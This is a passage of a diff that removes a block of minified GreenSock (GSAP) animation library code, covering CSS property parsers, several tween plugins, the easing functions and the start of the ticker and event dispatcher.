t = this.format(t).split(",").join(u) - } else { - s = this.format(ee(e, this.p, o, false, this.dflt)); - t = this.format(t) - } - return this.parseComplex(e.style, s, t, r, a) - } - }); - Se("textShadow", { - defaultValue: "0px 0px 0px #999", - color: true, - multi: true - }); - Se("autoRound,strictUnits", { - parser: function (e, t, i, n, r) { - return r - } - }); - Se("border", { - defaultValue: "0px solid #000", - parser: function (e, t, i, n, r, a) { - var s = ee(e, "borderTopWidth", o, false, "0px"), - l = this.format(t).split(" "), - u = l[0].replace(p, ""); - if (u !== "px") { - s = parseFloat(s) / te(e, "borderTopWidth", 1, u) + u - } - return this.parseComplex(e.style, this.format(s + " " + ee(e, "borderTopStyle", o, false, "solid") + " " + ee(e, "borderTopColor", o, false, "#000")), l.join(" "), r, a) - }, - color: true, - formatter: function (e) { - var t = e.split(" "); - return t[0] + " " + (t[1] || "solid") + " " + (e.match(ve) || ["#000"])[0] - } - }); - Se("borderWidth", { - parser: ge("borderTopWidth,borderRightWidth,borderBottomWidth,borderLeftWidth") - }); - Se("float,cssFloat,styleFloat", { - parser: function (e, t, i, n, r, a) { - var s = e.style, - o = "cssFloat" in s ? "cssFloat" : "styleFloat"; - return new Me(s, o, 0, 0, r, -1, i, false, 0, s[o], t) - } - }); - var Xe = function (e) { - var t = this.t, - i = t.filter || ee(this.data, "filter") || "", - n = this.s + this.c * e | 0, - r; - if (n === 100) { - if (i.indexOf("atrix(") === -1 && i.indexOf("radient(") === -1 && i.indexOf("oader(") === -1) { - t.removeAttribute("filter"); - r = !ee(this.data, "filter") - } else { - t.filter = i.replace(g, ""); - r = true - } - } - if (!r) { - if (this.xn1) { - t.filter = i = i || "alpha(opacity=" + n + ")" - } - if (i.indexOf("pacity") === -1) { - if (n !== 0 || !this.xn1) { - t.filter = i + " alpha(opacity=" + n + ")" - } - } else { - t.filter = i.replace(v, "opacity=" + n) - } - } - }; - Se("opacity,alpha,autoAlpha", { - defaultValue: "1", - parser: function (e, t, i, n, r, a) { - var s = parseFloat(ee(e, "opacity", o, false, "1")), - l = e.style, - u = i === "autoAlpha"; - if (typeof t === "string" && t.charAt(1) === "=") { - t = (t.charAt(0) === "-" ? -1 : 1) * parseFloat(t.substr(2)) + s - } - if (u && s === 1 && ee(e, "visibility", o) === "hidden" && t !== 0) { - s = 0 - } - if ($) { - r = new Me(l, "opacity", s, t - s, r) - } else { - r = new Me(l, "opacity", s * 100, (t - s) * 100, r); - r.xn1 = u ? 1 : 0; - l.zoom = 1; - r.type = 2; - r.b = "alpha(opacity=" + r.s + ")"; - r.e = "alpha(opacity=" + (r.s + r.c) + ")"; - r.data = e; - r.plugin = a; - r.setRatio = Xe - } - if (u) { - r = new Me(l, "visibility", 0, 0, r, -1, null, false, 0, s !== 0 ? "inherit" : "hidden", t === 0 ? "hidden" : "inherit"); - r.xs0 = "inherit"; - n._overwriteProps.push(r.n); - n._overwriteProps.push(i) - } - return r - } - }); - var Je = function (e, t) { - if (t) { - if (e.removeProperty) { - if (t.substr(0, 2) === "ms" || t.substr(0, 6) === "webkit") { - t = "-" + t - } - e.removeProperty(t.replace(b, "-$1").toLowerCase()) - } else { - e.removeAttribute(t) - } - } - }, - Ke = function (e) { - this.t._gsClassPT = this; - if (e === 1 || e === 0) { - this.t.setAttribute("class", e === 0 ? this.b : this.e); - var t = this.data, - i = this.t.style; - while (t) { - if (!t.v) { - Je(i, t.p) - } else { - i[t.p] = t.v - } - t = t._next - } - if (e === 1 && this.t._gsClassPT === this) { - this.t._gsClassPT = null - } - } else if (this.t.getAttribute("class") !== this.e) { - this.t.setAttribute("class", this.e) - } - }; - Se("className", { - parser: function (e, t, i, n, a, s, l) { - var u = e.getAttribute("class") || "", - d = e.style.cssText, - f, c, h, m, p; - a = n._classNamePT = new Me(e, i, 0, 0, a, 2); - a.setRatio = Ke; - a.pr = -11; - r = true; - a.b = u; - c = ne(e, o); - h = e._gsClassPT; - if (h) { - m = {}; - p = h.data; - while (p) { - m[p.p] = 1; - p = p._next - } - h.setRatio(1) - } - e._gsClassPT = a; - a.e = t.charAt(1) !== "=" ? t : u.replace(new RegExp("(?:\\s|^)" + t.substr(2) + "(?![\\w-])"), "") + (t.charAt(0) === "+" ? " " + t.substr(2) : ""); - e.setAttribute("class", a.e); - f = re(e, c, ne(e), l, m); - e.setAttribute("class", u); - a.data = f.firstMPT; - e.style.cssText = d; - a = a.xfirst = n.parse(e, f.difs, a, s); - return a - } - }); - var Qe = function (e) { - if (e === 1 || e === 0) - if (this.data._totalTime === this.data._totalDuration && this.data.data !== "isFromStart") { - var t = this.t.style, - i = u.transform.parse, - n, r, a, s, o; - if (this.e === "all") { - t.cssText = ""; - s = true - } else { - n = this.e.split(" ").join("").split(","); - a = n.length; - while (--a > -1) { - r = n[a]; - if (u[r]) { - if (u[r].parse === i) { - s = true - } else { - r = r === "transformOrigin" ? Pe : u[r].p - } - } - Je(t, r) - } - } - if (s) { - Je(t, Ee); - o = this.t._gsTransform; - if (o) { - if (o.svg) { - this.t.removeAttribute("data-svg-origin"); - this.t.removeAttribute("transform") - } - delete this.t._gsTransform - } - } - } - }; - Se("clearProps", { - parser: function (e, t, i, n, a) { - a = new Me(e, i, 0, 0, a, 2); - a.setRatio = Qe; - a.e = t; - a.pr = -10; - a.data = n._tween; - r = true; - return a - } - }); - d = "bezier,throwProps,physicsProps,physics2D".split(","); - Te = d.length; - while (Te--) { - Ye(d[Te]) - } - d = i.prototype; - d._firstPT = d._lastParsedTransform = d._transform = null; - d._onInitTween = function (e, t, n, a) { - if (!e.nodeType) { - return false - } - this._target = U = e; - this._tween = n; - this._vars = t; - X = a; - z = t.autoRound; - r = false; - s = t.suffixMap || i.suffixMap; - o = Z(e, ""); - l = this._overwriteProps; - var d = e.style, - f, c, h, m, p, v, g, y, b; - if (R) - if (d.zIndex === "") { - f = ee(e, "zIndex", o); - if (f === "auto" || f === "") { - this._addLazySet(d, "zIndex", 0) - } - } - if (typeof t === "string") { - m = d.cssText; - f = ne(e, o); - d.cssText = m + ";" + t; - f = re(e, f, ne(e)).difs; - if (!$ && _.test(t)) { - f.opacity = parseFloat(RegExp.$1) - } - t = f; - d.cssText = m - } - if (t.className) { - this._firstPT = c = u.className.parse(e, t.className, "className", this, null, null, t) - } else { - this._firstPT = c = this.parse(e, t, null) - } - if (this._transformType) { - b = this._transformType === 3; - if (!Ee) { - d.zoom = 1 - } else if (N) { - R = true; - if (d.zIndex === "") { - g = ee(e, "zIndex", o); - if (g === "auto" || g === "") { - this._addLazySet(d, "zIndex", 0) - } - } - if (B) { - this._addLazySet(d, "WebkitBackfaceVisibility", this._vars.WebkitBackfaceVisibility || (b ? "visible" : "hidden")) - } - } - h = c; - while (h && h._next) { - h = h._next - } - y = new Me(e, "transform", 0, 0, null, 2); - this._linkCSSP(y, null, h); - y.setRatio = Ee ? Ue : Ge; - y.data = this._transform || Ve(e, o, true); - y.tween = n; - y.pr = -1; - l.pop() - } - if (r) { - while (c) { - v = c._next; - h = m; - while (h && h.pr > c.pr) { - h = h._next - } - if (c._prev = h ? h._prev : p) { - c._prev._next = c - } else { - m = c - } - if (c._next = h) { - h._prev = c - } else { - p = c - } - c = v - } - this._firstPT = m - } - return true - }; - d.parse = function (e, t, i, n) { - var r = e.style, - a, l, d, f, c, h, m, v, _, g; - for (a in t) { - h = t[a]; - if (typeof h === "function") { - h = h(X, U) - } - l = u[a]; - if (l) { - i = l.parse(e, h, a, this, i, n, t) - } else if (a.substr(0, 2) === "--") { - this._tween._propLookup[a] = this._addTween.call(this._tween, e.style, "setProperty", Z(e).getPropertyValue(a) + "", h + "", a, false, a); - continue - } else { - c = ee(e, a, o) + ""; - _ = typeof h === "string"; - if (a === "color" || a === "fill" || a === "stroke" || a.indexOf("Color") !== -1 || _ && y.test(h)) { - if (!_) { - h = me(h); - h = (h.length > 3 ? "rgba(" : "rgb(") + h.join(",") + ")" - } - i = Le(r, a, c, h, true, "transparent", i, 0, n) - } else if (_ && Y.test(h)) { - i = Le(r, a, c, h, true, null, i, 0, n) - } else { - d = parseFloat(c); - m = d || d === 0 ? c.substr((d + "").length) : ""; - if (c === "" || c === "auto") { - if (a === "width" || a === "height") { - d = oe(e, a, o); - m = "px" - } else if (a === "left" || a === "top") { - d = ie(e, a, o); - m = "px" - } else { - d = a !== "opacity" ? 0 : 1; - m = "" - } - } - g = _ && h.charAt(1) === "="; - if (g) { - f = parseInt(h.charAt(0) + "1", 10); - h = h.substr(2); - f *= parseFloat(h); - v = h.replace(p, "") - } else { - f = parseFloat(h); - v = _ ? h.replace(p, "") : "" - } - if (v === "") { - v = a in s ? s[a] : m - } - h = f || f === 0 ? (g ? f + d : f) + v : t[a]; - if (m !== v) - if (v !== "" || a === "lineHeight") - if (f || f === 0) - if (d) { - d = te(e, a, d, m); - if (v === "%") { - d /= te(e, a, 100, "%") / 100; - if (t.strictUnits !== true) { - c = d + "%" - } - } else if (v === "em" || v === "rem" || v === "vw" || v === "vh") { - d /= te(e, a, 1, v) - } else if (v !== "px") { - f = te(e, a, f, v); - v = "px" - } - if (g) - if (f || f === 0) { - h = f + d + v - } - } - if (g) { - f += d - } - if ((d || d === 0) && (f || f === 0)) { - i = new Me(r, a, d, f - d, i, 0, a, z !== false && (v === "px" || a === "zIndex"), 0, c, h); - i.xs0 = v - } else if (r[a] === undefined || !h && (h + "" === "NaN" || h == null)) { - G("invalid " + a + " tween value: " + t[a]) - } else { - i = new Me(r, a, f || d || 0, 0, i, -1, a, false, 0, c, h); - i.xs0 = h === "none" && (a === "display" || a.indexOf("Style") !== -1) ? c : h - } - } - } - if (n) - if (i && !i.plugin) { - i.plugin = n - } - } - return i - }; - d.setRatio = function (e) { - var t = this._firstPT, - i = 1e-6, - n, r, a; - if (e === 1 && (this._tween._time === this._tween._duration || this._tween._time === 0)) { - while (t) { - if (t.type !== 2) { - if (t.r && t.type !== -1) { - n = Math.round(t.s + t.c); - if (!t.type) { - t.t[t.p] = n + t.xs0 - } else if (t.type === 1) { - a = t.l; - r = t.xs0 + n + t.xs1; - for (a = 1; a < t.l; a++) { - r += t["xn" + a] + t["xs" + (a + 1)] - } - t.t[t.p] = r - } - } else { - t.t[t.p] = t.e - } - } else { - t.setRatio(e) - } - t = t._next - } - } else if (e || !(this._tween._time === this._tween._duration || this._tween._time === 0) || this._tween._rawPrevTime === -1e-6) { - while (t) { - n = t.c * e + t.s; - if (t.r) { - n = Math.round(n) - } else if (n < i) - if (n > -i) { - n = 0 - } - if (!t.type) { - t.t[t.p] = n + t.xs0 - } else if (t.type === 1) { - a = t.l; - if (a === 2) { - t.t[t.p] = t.xs0 + n + t.xs1 + t.xn1 + t.xs2 - } else if (a === 3) { - t.t[t.p] = t.xs0 + n + t.xs1 + t.xn1 + t.xs2 + t.xn2 + t.xs3 - } else if (a === 4) { - t.t[t.p] = t.xs0 + n + t.xs1 + t.xn1 + t.xs2 + t.xn2 + t.xs3 + t.xn3 + t.xs4 - } else if (a === 5) { - t.t[t.p] = t.xs0 + n + t.xs1 + t.xn1 + t.xs2 + t.xn2 + t.xs3 + t.xn3 + t.xs4 + t.xn4 + t.xs5 - } else { - r = t.xs0 + n + t.xs1; - for (a = 1; a < t.l; a++) { - r += t["xn" + a] + t["xs" + (a + 1)] - } - t.t[t.p] = r - } - } else if (t.type === -1) { - t.t[t.p] = t.xs0 - } else if (t.setRatio) { - t.setRatio(e) - } - t = t._next - } - } else { - while (t) { - if (t.type !== 2) { - t.t[t.p] = t.b - } else { - t.setRatio(e) - } - t = t._next - } - } - }; - d._enableTransforms = function (e) { - this._transform = this._transform || Ve(this._target, o, true); - this._transformType = !(this._transform.svg && He) && (e || this._transformType === 3) ? 3 : 2 - }; - var Ze = function (e) { - this.t[this.p] = this.e; - this.data._linkCSSP(this, this._next, null, true) - }; - d._addLazySet = function (e, t, i) { - var n = this._firstPT = new Me(e, t, 0, 0, this._firstPT, 2); - n.e = i; - n.setRatio = Ze; - n.data = this - }; - d._linkCSSP = function (e, t, i, n) { - if (e) { - if (t) { - t._prev = e - } - if (e._next) { - e._next._prev = e._prev - } - if (e._prev) { - e._prev._next = e._next - } else if (this._firstPT === e) { - this._firstPT = e._next; - n = true - } - if (i) { - i._next = e - } else if (!n && this._firstPT === null) { - this._firstPT = e - } - e._next = t; - e._prev = i - } - return e - }; - d._mod = function (e) { - var t = this._firstPT; - while (t) { - if (typeof e[t.p] === "function" && e[t.p] === Math.round) { - t.r = 1 - } - t = t._next - } - }; - d._kill = function (t) { - var i = t, - n, r, a; - if (t.autoAlpha || t.alpha) { - i = {}; - for (r in t) { - i[r] = t[r] - } - i.opacity = 1; - if (i.autoAlpha) { - i.visibility = 1 - } - } - if (t.className && (n = this._classNamePT)) { - a = n.xfirst; - if (a && a._prev) { - this._linkCSSP(a._prev, n._next, a._prev._prev) - } else if (a === this._firstPT) { - this._firstPT = n._next - } - if (n._next) { - this._linkCSSP(n._next, n._next._next, a._prev) - } - this._classNamePT = null - } - n = this._firstPT; - while (n) { - if (n.plugin && n.plugin !== r && n.plugin._kill) { - n.plugin._kill(t); - r = n.plugin - } - n = n._next - } - return e.prototype._kill.call(this, i) - }; - var et = function (e, t, i) { - var n, r, a, s; - if (e.slice) { - r = e.length; - while (--r > -1) { - et(e[r], t, i) - } - return - } - n = e.childNodes; - r = n.length; - while (--r > -1) { - a = n[r]; - s = a.type; - if (a.style) { - t.push(ne(a)); - if (i) { - i.push(a) - } - } - if ((s === 1 || s === 9 || s === 11) && a.childNodes.length) { - et(a, t, i) - } - } - }; - i.cascadeTo = function (e, i, n) { - var r = t.to(e, i, n), - a = [r], - s = [], - o = [], - l = [], - u = t._internals.reservedProps, - d, f, c, h; - e = r._targets || r.target; - et(e, s, l); - r.render(i, true, true); - et(e, o); - r.render(0, true, true); - r._enabled(true); - d = l.length; - while (--d > -1) { - f = re(l[d], s[d], o[d]); - if (f.firstMPT) { - f = f.difs; - for (c in n) { - if (u[c]) { - f[c] = n[c] - } - } - h = {}; - for (c in f) { - h[c] = s[d][c] - } - a.push(t.fromTo(l[d], i, h, f)) - } - } - return a - }; - e.activate([i]); - return i - }, true); - (function () { - var e = a._gsDefine.plugin({ - propName: "roundProps", - version: "1.6.0", - priority: -1, - API: 2, - init: function (e, t, i) { - this._tween = i; - return true - } - }), - t = function (e) { - while (e) { - if (!e.f && !e.blob) { - e.m = Math.round - } - e = e._next - } - }, - i = e.prototype; - i._onInitAllProps = function () { - var e = this._tween, - i = e.vars.roundProps.join ? e.vars.roundProps : e.vars.roundProps.split(","), - n = i.length, - r = {}, - a = e._propLookup.roundProps, - s, o, l; - while (--n > -1) { - r[i[n]] = Math.round - } - n = i.length; - while (--n > -1) { - s = i[n]; - o = e._firstPT; - while (o) { - l = o._next; - if (o.pg) { - o.t._mod(r) - } else if (o.n === s) { - if (o.f === 2 && o.t) { - t(o.t._firstPT) - } else { - this._add(o.t, s, o.s, o.c); - if (l) { - l._prev = o._prev - } - if (o._prev) { - o._prev._next = l - } else if (e._firstPT === o) { - e._firstPT = l - } - o._next = o._prev = null; - e._propLookup[s] = a - } - } - o = l - } - } - return false - }; - i._add = function (e, t, i, n) { - this._addTween(e, t, i, i + n, t, Math.round); - this._overwriteProps.push(t) - } - })(); - (function () { - a._gsDefine.plugin({ - propName: "attr", - API: 2, - version: "0.6.1", - init: function (e, t, i, n) { - var r, a; - if (typeof e.setAttribute !== "function") { - return false - } - for (r in t) { - a = t[r]; - if (typeof a === "function") { - a = a(n, e) - } - this._addTween(e, "setAttribute", e.getAttribute(r) + "", a + "", r, false, r); - this._overwriteProps.push(r) - } - return true - } - }) - })(); - a._gsDefine.plugin({ - propName: "directionalRotation", - version: "0.3.1", - API: 2, - init: function (e, t, i, n) { - if (typeof t !== "object") { - t = { - rotation: t - } - } - this.finals = {}; - var r = t.useRadians === true ? Math.PI * 2 : 360, - a = 1e-6, - s, o, l, u, d, f; - for (s in t) { - if (s !== "useRadians") { - u = t[s]; - if (typeof u === "function") { - u = u(n, e) - } - f = (u + "").split("_"); - o = f[0]; - l = parseFloat(typeof e[s] !== "function" ? e[s] : e[s.indexOf("set") || typeof e["get" + s.substr(3)] !== "function" ? s : "get" + s.substr(3)]()); - u = this.finals[s] = typeof o === "string" && o.charAt(1) === "=" ? l + parseInt(o.charAt(0) + "1", 10) * Number(o.substr(2)) : Number(o) || 0; - d = u - l; - if (f.length) { - o = f.join("_"); - if (o.indexOf("short") !== -1) { - d = d % r; - if (d !== d % (r / 2)) { - d = d < 0 ? d + r : d - r - } - } - if (o.indexOf("_cw") !== -1 && d < 0) { - d = (d + r * 9999999999) % r - (d / r | 0) * r - } else if (o.indexOf("ccw") !== -1 && d > 0) { - d = (d - r * 9999999999) % r - (d / r | 0) * r - } - } - if (d > a || d < -a) { - this._addTween(e, s, l, l + d, s); - this._overwriteProps.push(s) - } - } - } - return true - }, - set: function (e) { - var t; - if (e !== 1) { - this._super.setRatio.call(this, e) - } else { - t = this._firstPT; - while (t) { - if (t.f) { - t.t[t.p](this.finals[t.p]) - } else { - t.t[t.p] = this.finals[t.p] - } - t = t._next - } - } - } - })._autoCSS = true; - a._gsDefine("easing.Back", ["easing.Ease"], function (e) { - var t = a.GreenSockGlobals || a, - i = t.com.greensock, - n = Math.PI * 2, - r = Math.PI / 2, - s = i._class, - o = function (t, i) { - var n = s("easing." + t, function () {}, true), - r = n.prototype = new e; - r.constructor = n; - r.getRatio = i; - return n - }, - l = e.register || function () {}, - u = function (e, t, i, n, r) { - var a = s("easing." + e, { - easeOut: new t, - easeIn: new i, - easeInOut: new n - }, true); - l(a, e); - return a - }, - d = function (e, t, i) { - this.t = e; - this.v = t; - if (i) { - this.next = i; - i.prev = this; - this.c = i.v - t; - this.gap = i.t - e - } - }, - f = function (t, i) { - var n = s("easing." + t, function (e) { - this._p1 = e || e === 0 ? e : 1.70158; - this._p2 = this._p1 * 1.525 - }, true), - r = n.prototype = new e; - r.constructor = n; - r.getRatio = i; - r.config = function (e) { - return new n(e) - }; - return n - }, - c = u("Back", f("BackOut", function (e) { - return (e = e - 1) * e * ((this._p1 + 1) * e + this._p1) + 1 - }), f("BackIn", function (e) { - return e * e * ((this._p1 + 1) * e - this._p1) - }), f("BackInOut", function (e) { - return (e *= 2) < 1 ? .5 * e * e * ((this._p2 + 1) * e - this._p2) : .5 * ((e -= 2) * e * ((this._p2 + 1) * e + this._p2) + 2) - })), - h = s("easing.SlowMo", function (e, t, i) { - t = t || t === 0 ? t : .7; - if (e == null) { - e = .7 - } else if (e > 1) { - e = 1 - } - this._p = e !== 1 ? t : 0; - this._p1 = (1 - e) / 2; - this._p2 = e; - this._p3 = this._p1 + this._p2; - this._calcEnd = i === true - }, true), - m = h.prototype = new e, - p, v, _, g; - m.constructor = h; - m.getRatio = function (e) { - var t = e + (.5 - e) * this._p; - if (e < this._p1) { - return this._calcEnd ? 1 - (e = 1 - e / this._p1) * e : t - (e = 1 - e / this._p1) * e * e * e * t - } else if (e > this._p3) { - return this._calcEnd ? e === 1 ? 0 : 1 - (e = (e - this._p3) / this._p1) * e : t + (e - t) * (e = (e - this._p3) / this._p1) * e * e * e - } - return this._calcEnd ? 1 : t - }; - h.ease = new h(.7, .7); - m.config = h.config = function (e, t, i) { - return new h(e, t, i) - }; - p = s("easing.SteppedEase", function (e, t) { - e = e || 1; - this._p1 = 1 / e; - this._p2 = e + (t ? 0 : 1); - this._p3 = t ? 1 : 0 - }, true); - m = p.prototype = new e; - m.constructor = p; - m.getRatio = function (e) { - if (e < 0) { - e = 0 - } else if (e >= 1) { - e = .999999999 - } - return ((this._p2 * e | 0) + this._p3) * this._p1 - }; - m.config = p.config = function (e, t) { - return new p(e, t) - }; - v = s("easing.ExpoScaleEase", function (e, t, i) { - this._p1 = Math.log(t / e); - this._p2 = t - e; - this._p3 = e; - this._ease = i - }, true); - m = v.prototype = new e; - m.constructor = v; - m.getRatio = function (e) { - if (this._ease) { - e = this._ease.getRatio(e) - } - return (this._p3 * Math.exp(this._p1 * e) - this._p3) / this._p2 - }; - m.config = v.config = function (e, t, i) { - return new v(e, t, i) - }; - _ = s("easing.RoughEase", function (t) { - t = t || {}; - var i = t.taper || "none", - n = [], - r = 0, - a = (t.points || 20) | 0, - s = a, - o = t.randomize !== false, - l = t.clamp === true, - u = t.template instanceof e ? t.template : null, - f = typeof t.strength === "number" ? t.strength * .4 : .4, - c, h, m, p, v, _; - while (--s > -1) { - c = o ? Math.random() : 1 / a * s; - h = u ? u.getRatio(c) : c; - if (i === "none") { - m = f - } else if (i === "out") { - p = 1 - c; - m = p * p * f - } else if (i === "in") { - m = c * c * f - } else if (c < .5) { - p = c * 2; - m = p * p * .5 * f - } else { - p = (1 - c) * 2; - m = p * p * .5 * f - } - if (o) { - h += Math.random() * m - m * .5 - } else if (s % 2) { - h += m * .5 - } else { - h -= m * .5 - } - if (l) { - if (h > 1) { - h = 1 - } else if (h < 0) { - h = 0 - } - } - n[r++] = { - x: c, - y: h - } - } - n.sort(function (e, t) { - return e.x - t.x - }); - _ = new d(1, 1, null); - s = a; - while (--s > -1) { - v = n[s]; - _ = new d(v.x, v.y, _) - } - this._prev = new d(0, 0, _.t !== 0 ? _ : _.next) - }, true); - m = _.prototype = new e; - m.constructor = _; - m.getRatio = function (e) { - var t = this._prev; - if (e > t.t) { - while (t.next && e >= t.t) { - t = t.next - } - t = t.prev - } else { - while (t.prev && e <= t.t) { - t = t.prev - } - } - this._prev = t; - return t.v + (e - t.t) / t.gap * t.c - }; - m.config = function (e) { - return new _(e) - }; - _.ease = new _; - u("Bounce", o("BounceOut", function (e) { - if (e < 1 / 2.75) { - return 7.5625 * e * e - } else if (e < 2 / 2.75) { - return 7.5625 * (e -= 1.5 / 2.75) * e + .75 - } else if (e < 2.5 / 2.75) { - return 7.5625 * (e -= 2.25 / 2.75) * e + .9375 - } - return 7.5625 * (e -= 2.625 / 2.75) * e + .984375 - }), o("BounceIn", function (e) { - if ((e = 1 - e) < 1 / 2.75) { - return 1 - 7.5625 * e * e - } else if (e < 2 / 2.75) { - return 1 - (7.5625 * (e -= 1.5 / 2.75) * e + .75) - } else if (e < 2.5 / 2.75) { - return 1 - (7.5625 * (e -= 2.25 / 2.75) * e + .9375) - } - return 1 - (7.5625 * (e -= 2.625 / 2.75) * e + .984375) - }), o("BounceInOut", function (e) { - var t = e < .5; - if (t) { - e = 1 - e * 2 - } else { - e = e * 2 - 1 - } - if (e < 1 / 2.75) { - e = 7.5625 * e * e - } else if (e < 2 / 2.75) { - e = 7.5625 * (e -= 1.5 / 2.75) * e + .75 - } else if (e < 2.5 / 2.75) { - e = 7.5625 * (e -= 2.25 / 2.75) * e + .9375 - } else { - e = 7.5625 * (e -= 2.625 / 2.75) * e + .984375 - } - return t ? (1 - e) * .5 : e * .5 + .5 - })); - u("Circ", o("CircOut", function (e) { - return Math.sqrt(1 - (e = e - 1) * e) - }), o("CircIn", function (e) { - return -(Math.sqrt(1 - e * e) - 1) - }), o("CircInOut", function (e) { - return (e *= 2) < 1 ? -.5 * (Math.sqrt(1 - e * e) - 1) : .5 * (Math.sqrt(1 - (e -= 2) * e) + 1) - })); - g = function (t, i, r) { - var a = s("easing." + t, function (e, t) { - this._p1 = e >= 1 ? e : 1; - this._p2 = (t || r) / (e < 1 ? e : 1); - this._p3 = this._p2 / n * (Math.asin(1 / this._p1) || 0); - this._p2 = n / this._p2 - }, true), - o = a.prototype = new e; - o.constructor = a; - o.getRatio = i; - o.config = function (e, t) { - return new a(e, t) - }; - return a - }; - u("Elastic", g("ElasticOut", function (e) { - return this._p1 * Math.pow(2, -10 * e) * Math.sin((e - this._p3) * this._p2) + 1 - }, .3), g("ElasticIn", function (e) { - return -(this._p1 * Math.pow(2, 10 * (e -= 1)) * Math.sin((e - this._p3) * this._p2)) - }, .3), g("ElasticInOut", function (e) { - return (e *= 2) < 1 ? -.5 * (this._p1 * Math.pow(2, 10 * (e -= 1)) * Math.sin((e - this._p3) * this._p2)) : this._p1 * Math.pow(2, -10 * (e -= 1)) * Math.sin((e - this._p3) * this._p2) * .5 + 1 - }, .45)); - u("Expo", o("ExpoOut", function (e) { - return 1 - Math.pow(2, -10 * e) - }), o("ExpoIn", function (e) { - return Math.pow(2, 10 * (e - 1)) - .001 - }), o("ExpoInOut", function (e) { - return (e *= 2) < 1 ? .5 * Math.pow(2, 10 * (e - 1)) : .5 * (2 - Math.pow(2, -10 * (e - 1))) - })); - u("Sine", o("SineOut", function (e) { - return Math.sin(e * r) - }), o("SineIn", function (e) { - return -Math.cos(e * r) + 1 - }), o("SineInOut", function (e) { - return -.5 * (Math.cos(Math.PI * e) - 1) - })); - s("easing.EaseLookup", { - find: function (t) { - return e.map[t] - } - }, true); - l(t.SlowMo, "SlowMo", "ease,"); - l(_, "RoughEase", "ease,"); - l(p, "SteppedEase", "ease,"); - return c - }, true) - }); - if (a._gsDefine) { - a._gsQueue.pop()() - }(function (i, a) { - "use strict"; - var s = {}, - o = i.document, - l = i.GreenSockGlobals = i.GreenSockGlobals || i; - if (l.TweenLite) { - return - } - var u = function (e) { - var t = e.split("."), - i = l, - n; - for (n = 0; n < t.length; n++) { - i[t[n]] = i = i[t[n]] || {} - } - return i - }, - d = u("com.greensock"), - f = 1e-10, - c = function (e) { - var t = [], - i = e.length, - n; - for (n = 0; n !== i; t.push(e[n++])) {} - return t - }, - h = function () {}, - m = function () { - var e = Object.prototype.toString, - t = e.call([]); - return function (i) { - return i != null && (i instanceof Array || typeof i === "object" && !!i.push && e.call(i) === t) - } - }(), - p, v, _, g, y, b = {}, - w = function (i, o, d, f) { - this.sc = b[i] ? b[i].sc : []; - b[i] = this; - this.gsClass = null; - this.func = d; - var c = []; - this.check = function (h) { - var m = o.length, - p = m, - v, _, g, y; - while (--m > -1) { - if ((v = b[o[m]] || new w(o[m], [])).gsClass) { - c[m] = v.gsClass; - p-- - } else if (h) { - v.sc.push(this) - } - } - if (p === 0 && d) { - _ = ("com.greensock." + i).split("."); - g = _.pop(); - y = u(_.join("."))[g] = this.gsClass = d.apply(d, c); - if (f) { - l[g] = s[g] = y; - if (typeof e !== "undefined" && e.exports) { - if (i === a) { - e.exports = s[a] = y; - for (m in s) { - y[m] = s[m] - } - } else if (s[a]) { - s[a][g] = y - } - } else if (true) { - !(n = [], r = function () { - return y - }.apply(t, n), r !== undefined && (e.exports = r)) - } - } - for (m = 0; m < this.sc.length; m++) { - this.sc[m].check() - } - } - }; - this.check(true) - }, - M = i._gsDefine = function (e, t, i, n) { - return new w(e, t, i, n) - }, - k = d._class = function (e, t, i) { - t = t || function () {}; - M(e, [], function () { - return t - }, i); - return t - }; - M.globals = l; - var L = [0, 0, 1, 1], - T = k("easing.Ease", function (e, t, i, n) { - this._func = e; - this._type = i || 0; - this._power = n || 0; - this._params = t ? L.concat(t) : L - }, true), - x = T.map = {}, - S = T.register = function (e, t, i, n) { - var r = t.split(","), - a = r.length, - s = (i || "easeIn,easeOut,easeInOut").split(","), - o, l, u, f; - while (--a > -1) { - l = r[a]; - o = n ? k("easing." + l, null, true) : d.easing[l] || {}; - u = s.length; - while (--u > -1) { - f = s[u]; - x[l + "." + f] = x[f + l] = o[f] = e.getRatio ? e : e[f] || new e - } - } - }; - _ = T.prototype; - _._calcEnd = false; - _.getRatio = function (e) { - if (this._func) { - this._params[0] = e; - return this._func.apply(null, this._params) - } - var t = this._type, - i = this._power, - n = t === 1 ? 1 - e : t === 2 ? e : e < .5 ? e * 2 : (1 - e) * 2; - if (i === 1) { - n *= n - } else if (i === 2) { - n *= n * n - } else if (i === 3) { - n *= n * n * n - } else if (i === 4) { - n *= n * n * n * n - } - return t === 1 ? 1 - n : t === 2 ? n : e < .5 ? n / 2 : 1 - n / 2 - }; - p = ["Linear", "Quad", "Cubic", "Quart", "Quint,Strong"]; - v = p.length; - while (--v > -1) { - _ = p[v] + ",Power" + v; - S(new T(null, null, 1, v), _, "easeOut", true); - S(new T(null, null, 2, v), _, "easeIn" + (v === 0 ? ",easeNone" : "")); - S(new T(null, null, 3, v), _, "easeInOut") - } - x.linear = d.easing.Linear.easeIn; - x.swing = d.easing.Quad.easeInOut; - var Y = k("events.EventDispatcher", function (e) { - this._listeners = {}; - this._eventTarget = e || this - }); - _ = Y.prototype; - _.addEventListener = function (e, t, i, n, r) { - r = r || 0; - var a = this._listeners[e], - s = 0, - o, l; - if (this === g && !y) { - g.wake() - } - if (a == null) { - this._listeners[e] = a = [] - } - l = a.length; - while (--l > -1) { - o = a[l]; - if (o.c === t && o.s === i) { - a.splice(l, 1) - } else if (s === 0 && o.pr < r) { - s = l + 1 - } - } - a.splice(s, 0, { - c: t, - s: i, - up: n, - pr: r - }) - }; - _.removeEventListener = function (e, t) { - var i = this._listeners[e], - n; - if (i) { - n = i.length; - while (--n > -1) { - if (i[n].c === t) { - i.splice(n, 1); - return - } - } - } - }; - _.dispatchEvent = function (e) { - var t = this._listeners[e], - i, n, r; - if (t) { - i = t.length; - if (i > 1) { - t = t.slice(0) - } - n = this._eventTarget; - while (--i > -1) { - r = t[i]; - if (r) { - if (r.up) { - r.c.call(r.s || n, { - type: e, - target: n - }) - } else { - r.c.call(r.s || n) - } - } - } - } - }; - var D = i.requestAnimationFrame, - E = i.cancelAnimationFrame, - C = Date.now || function () { - return (new Date).getTime() - }, - P = C(); - p = ["ms", "moz", "webkit", "o"]; - v = p.length; - while (--v > -1 && !D) { - D = i[p[v] + "RequestAnimationFrame"]; - E = i[p[v] + "CancelAnimationFrame"] || i[p[v] + "CancelRequestAnimationFrame"] - } - k("Ticker", function (e, t) { - var i = this, - n = C(), - r = t !== false && D ? "auto" : false, - a = 500, - s = 33, - l = "tick", - u, d, c, m, p, v = function (e) { 